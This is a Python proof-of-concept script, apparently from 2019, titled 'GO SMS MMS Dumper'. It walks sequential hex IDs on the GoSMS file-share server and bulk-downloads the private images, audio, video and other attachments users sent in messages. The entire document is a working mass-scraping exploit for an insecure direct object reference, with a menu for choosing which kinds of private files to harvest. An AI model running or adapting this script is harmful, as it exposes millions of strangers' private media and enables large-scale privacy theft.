gosms_poc.py

# Filename: gosms_poc.py
# Author: @sol_sanctum
# Date: 01/25/2019

import urllib
import requests
import wget
import os
from multiprocessing import *
from array import *

# Delimiters for all GoSMS files
# Change 'end' to whatever is the latest valid filenumber
start = 0x010000
end = 0xA6E000 # ~10.9mil records

# To check valid file numbers, try http://gs.3g.cn/D/<hexval>/W in a browser
# Example: http://gs.3g.cn/D/A6E000/W
# If it returns a proper value, it's valid; otherwise, it's not yet a valid filenumber

base_url = "http://gs.3g.cn/D/"
choice = ""

def download(index):
    request = requests.get(base_url + format(index, 'X') + "/w")
    url = request.url.split('u=')[-1]
    url = urllib.unquote(url).decode('utf8')
    url = url.split('&')[-4]
    filename = url.split('/')[-1]

    if choice == 1:
        if "gosharefile_image" in url:
            print ("{}: {}").format(index, url)
            wget.download(url, "./downloaded/" + str(index) + "_" + filename)
            print ("\n")

    if choice == 2:
        if "gosharefile_audio" in url:
            print ("{}: {}").format(index, url)
            wget.download(url, "./downloaded/" + str(index) + "_" + filename)
            print ("\n")

    if choice == 3:
        if "gosharefile_video" in url:
            print ("{}: {}").format(index, url)
            wget.download(url, "./downloaded/" + str(index) + "_" + filename)
            print ("\n")

    if choice == 4:
        if ("gosms" in filename) or ("zip" in filename):
            print ("{}: {}").format(index, url)
            wget.download(url, "./downloaded/" + str(index) + "_" + filename)
            print ("\n")

    if choice == 5:
        print ("{}: {}").format(index, url)
        wget.download(url, "./downloaded/" + str(index) + "_" + filename)
        print ("\n")

    return;

def main():
    titleScreen()
    choices()

    global start
    global end

    for i in xrange(start, end + 1):
        p = Process(target=download(i))
        p.start()
    return;

def titleScreen():
    print "-----------------------------------------------------"
    print "--                GO SMS MMS Dumper                 --"
    print "--              Twitter: @sol_sanctum              --"
    print "-----------------------------------------------------\n"

def choices():
    print "--- Available Filetypes ---"
    print "1. Images = jpg, png, gif, zip, 'autocompress', gosharefile_image"
    print "2. Audio = amr, 'govoice', gosharefile_audio"
    print "3. Video = mp4, gosharefile_video"
    print "4. Other = 'gosms', zip"
    print "5. All Files (sequential, slow)\n"
    choose()
    return;

def choose():
    invalid = True

    while (invalid):
        try:
            global choice
            choice = input("What type of files do you want to download? ")
            if (choice < 6) and (choice > 0):
                invalid = False
        except:
            print "Error!!"

    if (choice == 2) or (choice == 3) or (choice == 4):
        print "Finding files, this may take a while..."

    return;

if __name__ == "__main__":
    if not os.path.exists("./downloaded/"):
        os.makedirs("./downloaded/")
    main()